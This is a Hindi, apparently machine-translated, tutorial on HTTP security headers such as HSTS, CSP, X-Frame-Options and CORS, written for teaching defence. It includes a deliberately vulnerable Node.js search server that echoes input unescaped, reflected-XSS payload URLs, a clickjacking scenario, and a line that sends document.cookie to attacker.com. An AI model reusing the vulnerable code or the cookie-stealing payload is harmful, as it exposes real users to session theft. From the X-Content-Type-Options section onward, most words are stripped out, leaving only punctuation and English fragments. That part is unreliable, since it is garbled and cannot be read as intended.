HTTP हेडर के साथ वेब एप्लिकेशन सुरक्षा को मजबूत कैसे करें

यह वेब सुरक्षा श्रृंखला का तीसरा भाग है: दूसरा भाग था " वेब सुरक्षा: HTTP का एक परिचय, " पहला " कैसे ब्राउज़रों का काम - वेब अनुप्रयोग सुरक्षा का एक परिचय ।"

जैसा कि हमने इस श्रृंखला के पिछले भागों में देखा, क्लाइंट द्वारा अनुरोधित सामग्री भेजने के अलावा, प्रतिक्रिया में अतिरिक्त मेटाडेटा के साथ क्लाइंट प्रदान करने के लिए HTTP हेडर भेज सकते हैं। ग्राहकों को तब निर्दिष्ट करने की अनुमति दी जाती है कि वे कैसे पढ़ सकते हैं, कैश कर सकते हैं या किसी विशिष्ट संसाधन की रक्षा कर सकते हैं।

ब्राउज़रों ने अब सुरक्षा से संबंधित हेडर की एक विस्तृत श्रृंखला को लागू किया है ताकि हमलावरों के लिए कमजोरियों का फायदा उठाना मुश्किल हो जाए। इस लेख में, हम उनमें से प्रत्येक पर चर्चा करने का प्रयास करेंगे, यह बताते हुए कि उनका उपयोग कैसे किया जाता है, वे किस हमले को रोकते हैं, और प्रत्येक शीर्षक के लिए थोड़ा इतिहास।

पोस्ट को EDISON सॉफ़्टवेयर के समर्थन से लिखा गया था, जो कि रूसी प्रोग्रामर्स के सम्मान के लिए प्रयास करता है और जटिल सॉफ़्टवेयर उत्पादों को विकसित करने में अपने अनुभव को विस्तार से साझा करता है।

HTTP सख्त परिवहन सुरक्षा (HSTS)

2012 के अंत से, HTTPS के लिए हर जगह समर्थकों के लिए यह आसान हो गया है कि ग्राहक हमेशा स्ट्रक्ट ट्रांसपोर्ट सिक्योरिटी के लिए HTTP प्रोटोकॉल के सुरक्षित संस्करण का उपयोग करें: बहुत ही सरल लाइन Strict-Transport-Security: max-age=3600 ब्राउज़र को बताएगा कि अगले घंटे (3600 सेकंड) के भीतर असुरक्षित प्रोटोकॉल के माध्यम से आवेदन के साथ बातचीत नहीं करनी चाहिए।

जब कोई उपयोगकर्ता HTTP के माध्यम से HSTS द्वारा संरक्षित किसी एप्लिकेशन तक पहुंचने का प्रयास करता है, तो ब्राउज़र बस http:// URLs को https:// स्वचालित रूप से परिवर्तित करते हुए आगे जाने से मना कर देता है।

आप इसे स्थानीय रूप से github.com/odino/wasec/tree/master/hsts कोड से देख सकते हैं। आपको README में निर्देशों का पालन करने की आवश्यकता होगी (इसमें mkcert टूल का उपयोग करके आपके कंप्यूटर पर localhost लिए एक विश्वसनीय एसएसएल प्रमाणपत्र स्थापित करना शामिल है), और फिर https://localhost:7889 खोलने का प्रयास https://localhost:7889 ।

इस उदाहरण में, 2 सर्वर हैं: HTTPS, जो 7889 पर सुन रहा है, और HTTP, पोर्ट 7888 । जब आप एक HTTPS सर्वर का उपयोग करते हैं, तो यह हमेशा आपको एक HTTP संस्करण पर पुनर्निर्देशित करने की कोशिश करेगा जो काम करेगा क्योंकि HSTS HTTPS सर्वर पर उपलब्ध नहीं है। यदि आप इसके बजाय hsts=on पैरामीटर को अपने URL में जोड़ते हैं, तो ब्राउज़र जबरदस्ती लिंक को https:// संस्करण में बदल देता है। चूँकि 7888 पर सर्वर केवल http प्रोटोकॉल के माध्यम से सुलभ है, आप एक पृष्ठ को देखना पसंद करेंगे जो कुछ इस तरह दिखता है।



आपको यह जानने में रुचि हो सकती है कि जब कोई उपयोगकर्ता पहली बार आपकी साइट पर जाता है, तो क्योंकि HSTS नीति पूर्वनिर्धारित नहीं है: हमलावर संभावित रूप से उपयोगकर्ता को आपकी साइट के http:// संस्करण में ले जा सकते हैं और वहां एक हमले को अंजाम दे सकते हैं, इसलिए समस्याओं के लिए अभी भी जगह नहीं है । यह एक गंभीर मुद्दा है क्योंकि एचएसटीएस पहले उपयोग पर एक भरोसेमंद तंत्र है। वह यह सुनिश्चित करने की कोशिश करता है कि वेबसाइट पर जाने के बाद, ब्राउज़र जानता है कि HTTPS का उपयोग बाद के इंटरैक्शन में किया जाना चाहिए।

इसके लिए एक समाधान यह हो सकता है कि HSTS का समर्थन करने वाली वेबसाइटों का एक बड़ा डेटाबेस बनाए रखा जाए, जो Chrome hstspreload.org के माध्यम से करता है। आपको पहले अपनी नीति स्थापित करनी होगी और फिर वेबसाइट पर जाकर देखना होगा कि क्या इसे डेटाबेस में जोड़ा जा सकता है। उदाहरण के लिए, हम देख सकते हैं कि फेसबुक सूची में है।



अपनी वेबसाइट को इस सूची में सबमिट करके, आप पहले से ब्राउज़रों को बता सकते हैं कि आपकी साइट एचएसटीएस का उपयोग करती है, ताकि ग्राहकों और आपके सर्वर के बीच पहली बातचीत भी एक सुरक्षित चैनल के माध्यम से हो। लेकिन यह महंगा है, क्योंकि आपको वास्तव में एचएसटीएस में भाग लेने की आवश्यकता है। यदि, किसी भी कारण से, आप चाहते हैं कि आपकी वेबसाइट को सूची से हटा दिया जाए, तो यह ब्राउज़र प्रदाताओं के लिए आसान काम नहीं है:

ध्यान रखें कि प्रीलोड सूची में शामिल किए जाने को आसानी से रद्द नहीं किया जा सकता है।

डोमेन हटाए जा सकते हैं, लेकिन उपयोगकर्ताओं को Chrome अपडेट करने में महीनों लग जाते हैं, और हम अन्य ब्राउज़र की गारंटी नहीं दे सकते हैं। सूची में शामिल करने का अनुरोध न करें यदि आप सुनिश्चित नहीं हैं कि आप अपनी पूरी साइट के लिए HTTPS और उसके सभी उप-डोमेन का लंबे समय तक समर्थन कर सकते हैं।
- स्रोत: https://hstspreload.org/

ऐसा इसलिए है क्योंकि प्रदाता यह गारंटी नहीं दे सकता कि सभी उपयोगकर्ता अपने ब्राउज़र के नवीनतम संस्करण का उपयोग करेंगे और आपकी साइट को सूची से हटा दिया जाएगा। ध्यान से सोचें और एचएसटीएस में विश्वास की आपकी डिग्री और लंबे समय में इसे समर्थन करने की आपकी क्षमता के आधार पर निर्णय लें।

HTTP सार्वजनिक कुंजी पिनिंग (HPKP)

HTTP सार्वजनिक कुंजी पिनिंग एक तंत्र है जो हमें ब्राउज़र को यह बताने की अनुमति देता है कि हमारे सर्वर से कनेक्ट होने पर एसएसएल प्रमाणपत्र कौन सी उम्मीद करता है। यह शीर्ष लेख HSTS की तरह पहले उपयोग में ट्रस्ट तंत्र का उपयोग करता है, और इसका मतलब है कि क्लाइंट हमारे सर्वर से कनेक्ट होने के बाद, यह बाद की बातचीत के लिए प्रमाणपत्र जानकारी संग्रहीत करेगा। यदि कुछ बिंदु पर ग्राहक को पता चलता है कि सर्वर एक अलग प्रमाण पत्र का उपयोग कर रहा है, तो यह विनम्रता से कनेक्ट करने से इनकार कर देगा, जिससे "मध्य में आदमी" हमलों (MITM) को अंजाम देना बहुत मुश्किल हो जाएगा।

यहां एचपीकेपी नीति क्या है:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

हेडर यह घोषणा करता है कि सर्वर किस सर्टिफिकेट का उपयोग करेगा (इस मामले में, उनमें से दो) प्रमाण पत्र हैश का उपयोग करते हुए, और इस निर्देश के जीवनकाल ( max-age = 3600 ) और कई अन्य विवरणों के रूप में अतिरिक्त जानकारी शामिल करता है। दुर्भाग्य से, यह समझने के लिए गहरी खुदाई करने का कोई मतलब नहीं है कि हम सार्वजनिक कुंजी हासिल करने के साथ क्या कर सकते हैं, क्योंकि क्रोम इस सुविधा को स्वीकार नहीं करता है - एक संकेत है कि इसकी गोद विफलता के लिए बर्बाद है।

Chrome का समाधान तर्कहीन नहीं है, यह सार्वजनिक कुंजी हासिल करने से जुड़े जोखिमों का एक परिणाम है। यदि आप अपना प्रमाणपत्र खो देते हैं या परीक्षण के दौरान बस एक गलती करते हैं, तो आपकी साइट उन उपयोगकर्ताओं के लिए अनुपलब्ध होगी जो साइट पर गए हैं ( max-age निर्देश की वैधता अवधि के दौरान, जो आमतौर पर सप्ताह या महीने है)।

इन संभावित भयावह परिणामों के परिणामस्वरूप, एचपीकेपी गोद लेना बहुत कम था, और ऐसे समय थे जब बड़ी वेबसाइटें गलतफहमी के कारण अनुपलब्ध थीं । उपरोक्त सभी को देखते हुए, क्रोम ने निर्णय लिया कि उपयोगकर्ता एचपीकेपी द्वारा दी गई सुरक्षा के बिना बेहतर बंद हो जाएंगे, और सुरक्षा शोधकर्ता इस निर्णय के पूरी तरह से विरोध नहीं करते हैं ।

उम्मीद-सीटी

जब HPKP अस्वीकृत हो रहा था, तो ग्राहकों के लिए कपटपूर्ण SSL प्रमाणपत्रों को रोकने के लिए एक नया हेडर दिखाई दिया: Expect-CT ।

इस हेडर का उद्देश्य उस ब्राउज़र को बताना है जिसे यह प्रमाणित करने के लिए अतिरिक्त "बैकग्राउंड चेक" करने की आवश्यकता है कि प्रमाण पत्र प्रामाणिक है: जब सर्वर Expect-CT हेडर का उपयोग करता है, तो यह मूल रूप से क्लाइंट को यह सत्यापित करने के लिए कहता है कि उपयोग किए गए सर्टिफिकेट ओपन ट्रांसपेरेंसी लॉग इन हैं (सीटी)।

प्रमाणपत्र पारदर्शिता पहल सुनिश्चित करने के लिए Google के प्रयास हैं:

वास्तविक समय में एसएसएल प्रमाणपत्रों की निगरानी और ऑडिट के लिए एक खुला मंच।

विशेष रूप से, प्रमाण पत्र पारदर्शिता आपको SSL प्रमाणपत्र का पता लगाने की अनुमति देती है जो किसी प्रमाणीकरण प्राधिकारी द्वारा गलत तरीके से जारी किए गए थे या दुर्भावनापूर्वक किसी अन्य त्रुटिपूर्ण प्रमाणन प्राधिकरण से प्राप्त किए गए थे। यह आपको प्रमाणीकरण अधिकारियों की पहचान करने की अनुमति देता है जिन्होंने धोखाधड़ी और दुर्भावनापूर्ण रूप से प्रमाणपत्र जारी किए हैं।
- स्रोत: https://www.certificate-transparency.org/

हैडर इस फॉर्म को लेता है:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

इस उदाहरण में, सर्वर ब्राउज़र से पूछता है:

• 1 घंटे (3600 सेकंड) की अवधि के लिए वर्तमान एप्लिकेशन के लिए सीटी चेक सक्षम करें
• इस नीति enforce लागू करें और उल्लंघन के मामले में आवेदन करने से इनकार करें
• उल्लंघन के मामले में एक रिपोर्ट निर्दिष्ट URL पर भेजें

सर्टिफिकेट ट्रांसपेरेंसी पहल का लक्ष्य गलत तरीके से जारी किए गए या दुर्भावनापूर्ण प्रमाण पत्र (और धोखाधड़ी प्रमाणीकरण प्राधिकारी) का पता लगाना है, जो पहले इस्तेमाल की गई किसी भी अन्य विधि की तुलना में अधिक तेज और सटीक है।

Expect-CT हेडर के उपयोग को सक्षम करके, आप अपने एप्लिकेशन की सुरक्षा स्थिति को बेहतर बनाने के लिए यह पहल कर सकते हैं।

एक्स फ़्रेम-विकल्पों को

कल्पना कीजिए कि आप इस तरह एक वेब पेज देखते हैं



जैसे ही आप लिंक पर क्लिक करते हैं, आप समझ जाते हैं कि आपके बैंक खाते का सारा पैसा गायब हो गया है। क्या हुआ?

आप एक क्लिकजैकिंग हमले के शिकार थे।

एक हमलावर ने आपको अपनी वेबसाइट पर निर्देशित किया, जो एक बहुत ही आकर्षक क्लिक लिंक प्रदर्शित करता है। दुर्भाग्यवश, वह iframe पृष्ठ में your-bank.com/transfer?amount=-1&[attacker@gmail.com] से भी your-bank.com/transfer?amount=-1&[attacker@gmail.com] , लेकिन पारदर्शिता को 0% पर सेट करके इसे छिपा दिया। हमने सोचा था कि हम मूल पृष्ठ पर क्लिक करते हैं, पूरी तरह से नया हैमर जीतने की कोशिश कर रहे हैं, लेकिन इसके बजाय ब्राउज़र ने iframe पर एक क्लिक तय किया, एक खतरनाक क्लिक जिसने पैसे के हस्तांतरण की पुष्टि की।

अधिकांश बैंकिंग प्रणालियों के लिए आवश्यक है कि आप लेनदेन की पुष्टि करने के लिए एक बार का पिन प्रदान करें, लेकिन आपका बैंक समय के साथ नहीं पकड़ा गया और आपके सभी पैसे खो गए।

उदाहरण काफी चरम है, लेकिन आपको यह समझना चाहिए कि क्लिकजैकिंग का उपयोग करके हमले के परिणाम क्या हो सकते हैं। उपयोगकर्ता एक विशिष्ट लिंक पर क्लिक करने का इरादा रखता है, जबकि ब्राउज़र "अदृश्य" पृष्ठ पर एक क्लिक का कारण होगा, जिसे फ्रेम के रूप में एम्बेडेड किया गया था।

मैंने github.com/odino/wasec/tree/master/clickjacking में इस भेद्यता का एक उदाहरण शामिल किया है। यदि आप उदाहरण चलाते हैं और "आकर्षक" लिंक पर क्लिक करने का प्रयास करते हैं, तो आप देखेंगे कि वास्तविक क्लिक को आइफ्रेम द्वारा इंटरसेप्ट किया गया है, जो इसे पारदर्शी नहीं बनाता है, जिससे आपके लिए समस्या का पता लगाना आसान हो जाता है। एक उदाहरण http://localhost:7888 पर उपलब्ध होना चाहिए।



सौभाग्य से, ब्राउज़र इस समस्या के लिए एक सरल समाधान के साथ आए हैं: X-Frame-Options (एक्सएफओ), जो आपको यह तय करने की अनुमति देता है कि क्या आपके आवेदन को बाहरी वेबसाइटों पर आइफ्रेम के रूप में एम्बेड किया जा सकता है। इंटरनेट एक्सप्लोरर 8 द्वारा लोकप्रिय, एक्सएफओ पहली बार 2009 में पेश किया गया था और अभी भी सभी प्रमुख ब्राउज़रों द्वारा समर्थित है।

यह इस तरह काम करता है: जब ब्राउज़र एक आइफ्रेम देखता है, तो वह इसे लोड करता है और जांचता है कि इसका एक्सएफओ इसे रेंडर करने से पहले वर्तमान पृष्ठ में शामिल करने की अनुमति देता है।



समर्थित मान:

• DENY : इस वेब पेज को कहीं भी एम्बेड नहीं किया जा सकता है। यह सुरक्षा का उच्चतम स्तर है क्योंकि यह किसी को भी हमारी सामग्री को एम्बेड करने की अनुमति नहीं देता है।
• SAMEORIGIN : केवल उसी डोमेन के पृष्ठ जो वर्तमान में इस पृष्ठ को सम्मिलित कर सकते हैं। इसका अर्थ यह है कि example.com/embedder को लोड कर सकता है यदि इसकी नीति SAMEORIGIN सेट है। यह एक शांत नीति है जो किसी विशेष वेबसाइट के मालिकों को अपने स्वयं के पृष्ठों को अपने आवेदन में एम्बेड करने की अनुमति देती है।
• ALLOW-FROM uri : निर्दिष्ट यूआरआई से लगाव। उदाहरण के लिए, हम किसी बाहरी अधिकृत वेबसाइट को ALLOW-FROM https://external.com का उपयोग करके अपनी सामग्री को एम्बेड करने की ALLOW-FROM https://external.com । यह आमतौर पर तब उपयोग किया जाता है जब आप तृतीय-पक्ष डेवलपर्स को एक iframe के माध्यम से अपनी सामग्री को एम्बेड करने की अनुमति देने जा रहे हैं।

एक उदाहरण HTTP प्रतिसाद जिसमें सबसे संभव XFO नीति शामिल है, इस प्रकार है:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

XFO चालू होने पर ब्राउज़र कैसे व्यवहार करते हैं, यह प्रदर्शित करने के लिए, हम बस हमारे उदाहरण URL को http://localhost:7888 /?xfo=on । xfo=on पैरामीटर पैरामीटर सर्वर को X-Frame-Options: deny शामिल करने के लिए कहता है X-Frame-Options: deny प्रतिक्रिया में X-Frame-Options: deny , और हम देख सकते हैं कि ब्राउज़र आइफ्रेम तक पहुंच को कैसे प्रतिबंधित करता है:



XFO को फ्रेम पर आधारित क्लिक-आधारित हमलों को रोकने के लिए सबसे अच्छा तरीका माना जाता था जब तक कि कुछ वर्षों के बाद एक और शीर्षक खेल में नहीं आया - सामग्री सुरक्षा नीति या सीएसपी संक्षेप में।

सामग्री सुरक्षा नीति (CSP)

Content-Security-Policy हेडर, संक्षिप्त सीएसपी, विभिन्न प्रकार के हमलों को रोकने के लिए XSS (क्रॉस-साइट स्क्रिप्टिंग) से अवरोधन (क्लिक-जैकिंग) के लिए अगली पीढ़ी की उपयोगिताओं प्रदान करता है।

यह समझने के लिए कि सीएसपी हमें कैसे मदद करता है, आपको पहले एक हमले के वेक्टर के बारे में सोचने की जरूरत है। मान लें कि हमने अभी अपना स्वयं का Google खोज इंजन बनाया है, जहाँ सबमिट बटन के साथ एक सरल इनपुट फ़ील्ड है।



यह वेब एप्लिकेशन जादुई कुछ भी नहीं करता है। यह सरल है

• रूप प्रदर्शित करता है
• उपयोगकर्ता को खोज करने की अनुमति देता है
• उपयोगकर्ता द्वारा खोजे गए कीवर्ड के साथ खोज परिणाम प्रदर्शित करता है

जब हम एक सरल खोज करते हैं, तो एप्लिकेशन निम्न देता है:



कमाल! हमारे आवेदन ने हमारी खोज को अविश्वसनीय रूप से समझा और एक समान छवि पाई। यदि हम github.com/odino/wasec/tree/master/xss पर उपलब्ध स्रोत कोड में तल्लीन हो जाते हैं, तो हम जल्द ही महसूस करेंगे कि आवेदन एक सुरक्षा समस्या प्रस्तुत करता है, क्योंकि कोई भी उपयोगकर्ता जिसे खोजता है, वह सीधे HTML में मुद्रित होता है:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

यह एक अप्रिय परिणाम है। एक हमलावर एक विशिष्ट लिंक बना सकता है जो पीड़ित के ब्राउज़र में मनमाने ढंग से जावास्क्रिप्ट निष्पादित करता है।



यदि आपके पास स्थानीय रूप से उदाहरण को चलाने के लिए समय और धैर्य है, तो आप सीएसपी की पूरी शक्ति को जल्दी से समझ सकते हैं। मैंने एक क्वेरी स्ट्रिंग पैरामीटर जोड़ा है जिसमें CSP शामिल है, इसलिए हम CSP सक्षम के साथ दुर्भावनापूर्ण URL पर जाने का प्रयास कर सकते हैं:

लोकलहोस्ट : 7888 /? खोज =% 3Ccript + प्रकार% 3D 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27% 27 20%% 20%% 20%% 20%% 27% 29% 3C% 2F% 5% 3F & csp = on

जैसा कि आप उपरोक्त उदाहरण में देखते हैं, हमने ब्राउज़र को बताया कि हमारी CSP नीति केवल वर्तमान URL के उसी स्रोत से शामिल स्क्रिप्ट की अनुमति देती है, जिसे हम कर्ल का उपयोग करके URL तक आसानी से देख सकते हैं और प्रतिक्रिया हैडर देख सकते हैं:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

चूंकि XSS हमले को एक एम्बेडेड स्क्रिप्ट (HTML सामग्री में सीधे लिपिबद्ध) का उपयोग करके किया गया था, ब्राउज़र ने विनम्रतापूर्वक इसे निष्पादित करने से इनकार कर दिया, जिससे हमारे उपयोगकर्ता की सुरक्षा सुनिश्चित हो गई। कल्पना कीजिए कि सिर्फ एक चेतावनी संवाद बॉक्स प्रदर्शित करने के बजाय, एक हमलावर कुछ जावास्क्रिप्ट कोड के माध्यम से अपने स्वयं के डोमेन पर पुनर्निर्देशित करेगा, जो इस तरह दिख सकता है:

 window.location = `attacker.com/${document.cookie}` 

वे सभी उपयोगकर्ता कुकीज़ चुरा सकते हैं, जिसमें बहुत गोपनीय डेटा हो सकता है (अगले लेख में इस पर अधिक)।

अब तक, यह स्पष्ट होना चाहिए कि सीएसपी वेब अनुप्रयोगों पर कितने हमलों को रोकने में हमारी मदद करता है। आप एक नीति को परिभाषित करते हैं, और ब्राउज़र उस नीति का उल्लंघन करने वाले संसाधनों को चलाने से इनकार करते हुए इसका सख्ती से पालन करेगा।

CSP के लिए एक दिलचस्प विकल्प केवल रिपोर्ट मोड है। Content-Security-Policy हेडर का उपयोग करने के बजाय, आप सबसे पहले अपनी साइट पर सीएसपी के प्रभाव की जांच कर सकते हैं, जिसमें ब्राउज़र को केवल स्क्रिप्ट निष्पादन को अवरुद्ध किए बिना त्रुटियों की रिपोर्ट करने, आदि Content-Security-Policy-Report-Only हेडर का उपयोग करके बता सकते हैं।

रिपोर्ट आपको यह समझने की अनुमति देगी कि सीएसपी नीति के कारण क्या महत्वपूर्ण परिवर्तन हो सकते हैं जिन्हें आप अपने अनुसार तैनात करना और उन्हें ठीक करना चाहते हैं। हम रिपोर्ट URL भी प्रदान कर सकते हैं और ब्राउज़र हमें रिपोर्ट भेजेगा। यहाँ एक पूरी रिपोर्ट केवल नीति उदाहरण है:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

CSP नीतियाँ स्वयं थोड़ी जटिल हो सकती हैं, उदाहरण के लिए, निम्नलिखित उदाहरण में:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

यह नीति निम्नलिखित नियमों को परिभाषित करती है:

• निष्पादन योग्य स्क्रिप्ट (उदा। जावास्क्रिप्ट) केवल scripts.example.com से डाउनलोड की जा सकती है
• छवियाँ किसी भी स्रोत से डाउनलोड की जा सकती हैं ( img-src: * )
• वीडियो या ऑडियो सामग्री दो स्रोतों से डाउनलोड की जा सकती है: medias.example.com और medias.legacy.example.com

जैसा कि आप देख सकते हैं, कई राजनेता हो सकते हैं, और यदि हम अपने उपयोगकर्ताओं के लिए अधिकतम सुरक्षा प्रदान करना चाहते हैं, तो यह एक बहुत ही कठिन प्रक्रिया हो सकती है। हालाँकि, एक व्यापक सीएसपी नीति लिखना हमारे वेब अनुप्रयोगों में सुरक्षा की एक अतिरिक्त परत जोड़ने की दिशा में एक महत्वपूर्ण कदम है।

CSP के बारे में अधिक जानकारी के लिए, मैं developer.mozilla.org/en-US/docs/Web/HTTP/CSP की सिफारिश करूंगा।

एक्स-XSS-संरक्षण

हालांकि CSP द्वारा प्रतिस्थापित, X-XSS-Protection हेडर एक ही प्रकार की सुरक्षा प्रदान करता है। इस हेडर का उपयोग पुराने ब्राउज़रों में XSS हमलों को कम करने के लिए किया जाता है जो CSP का पूरी तरह समर्थन नहीं करते हैं। यह हेडर फ़ायरफ़ॉक्स द्वारा समर्थित नहीं है।

इसका सिंटैक्स बहुत कुछ वैसा ही है जैसा हमने अभी देखा:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

रिफ्लेक्टेड XSS सबसे सामान्य प्रकार का हमला है जब दर्ज किया गया पाठ सर्वर द्वारा बिना किसी सत्यापन के प्रिंट किया जाता है, और यही वह जगह है जहाँ यह हेडर वास्तव में हल करता है। यदि आप इसे अपने लिए देखना चाहते हैं, तो मैं github.com/odino/wasec/tree/master/xss पर उदाहरण आज़माने की सलाह दूंगा , क्योंकि URL में xss=on जोड़कर यह पता चलता है कि ब्राउज़र क्या करता है जब XSS सुरक्षा सक्षम होती है। । यदि हम खोज फ़ील्ड में कोई दुर्भावनापूर्ण स्ट्रिंग दर्ज करते हैं, जैसे, ब्राउज़र स्क्रिप्ट को निष्पादित करने के लिए विनम्रता से मना कर देता है और इसके निर्णय का कारण बताता है:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

Chrome में CSP या XSS नीति वेब पेज पर निर्दिष्ट नहीं होने पर भी अधिक दिलचस्प डिफ़ॉल्ट व्यवहार है। एक स्क्रिप्ट जिसे हम अपने URL में xss=off पैरामीटर जोड़कर परीक्षण कर सकते हैं ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):



हैरानी की बात है कि क्रोम पेज रेंडरिंग को रोकने के लिए पर्याप्त सावधानी बरतता है, जिससे मिरर किया हुआ एक्सएसएस बनाना मुश्किल हो जाता है। प्रभावशाली यह है कि ब्राउज़र कितनी दूर चले गए हैं।

सुविधा नीति

जुलाई 2018 में, सुरक्षा शोधकर्ता स्कॉट हेल्म ने नई सुरक्षा हेडलाइन: Feature-Policy का विवरण देते हुए एक बहुत ही दिलचस्प ब्लॉग पोस्ट किया ।

वर्तमान में बहुत कम ब्राउज़र (इस लेखन के समय क्रोम और सफारी) द्वारा समर्थित, यह हेडर हमें यह निर्धारित करने की अनुमति देता है कि क्या वर्तमान पृष्ठ पर किसी विशेष ब्राउज़र सुविधा को सक्षम किया गया है। CSP के समान सिंटैक्स के साथ, हमें यह समझने में कोई समस्या नहीं होनी चाहिए कि फ़ंक्शन नीतियों का क्या अर्थ है, जैसे कि निम्नलिखित:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

यदि हमें सभी संदेह हैं, तो यह नीति ब्राउज़र API को कैसे प्रभावित करती है, तो हम बस इसका विश्लेषण कर सकते हैं:

• vibrate 'self' : वर्तमान पृष्ठ को कंपन एपीआई और वर्तमान साइट पर किसी भी फ्रेम का उपयोग करने की अनुमति देता है।
• push * : वर्तमान पेज और कोई भी फ्रेम पुश नोटिफिकेशन एपीआई का उपयोग कर सकता है
• camera 'none' : इस पृष्ठ और किसी भी फ़्रेम पर कैमरा API तक पहुँच से वंचित किया जाता है

फ़ीचर पॉलिसी का थोड़ा इतिहास है। यदि आपकी साइट उपयोगकर्ताओं को उदाहरण के लिए, सेल्फी लेने या ऑडियो रिकॉर्ड करने की अनुमति देती है, तो ऐसी पॉलिसी का उपयोग करना बहुत उपयोगी होगा जो आपके पेज को अन्य संदर्भों में एपीआई तक पहुंच को प्रतिबंधित करता है।

एक्स-सामग्री-प्रकार-विकल्प

कभी-कभी स्मार्ट ब्राउज़र की विशेषताएं हमें सुरक्षा के मामले में नुकसान पहुंचाती हैं। एक प्रमुख उदाहरण MIME सूँघने की तकनीक है, जो Internet Explorer में लोकप्रिय है।

MIME- — ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: «» , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , «», . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)

JavaScript HTTP- . , AJAX- example.com example.com .

, — cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , «» CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on



cors URL, :



, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :



POST , , « ». , OPTIONS , . , , POST .

:

• CORS — . , , , .
• API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies

CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy

, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

• no-referrer : Referer
• origin : https://example.com/private-page https://example.com/
• same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin …… Origin ( Referer , ) .

securityheaders.com , -, , - , . , URL, . facebook.com :



, , securityheaders.com — , .

HTTP : cookie

HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , « ». , cookie , .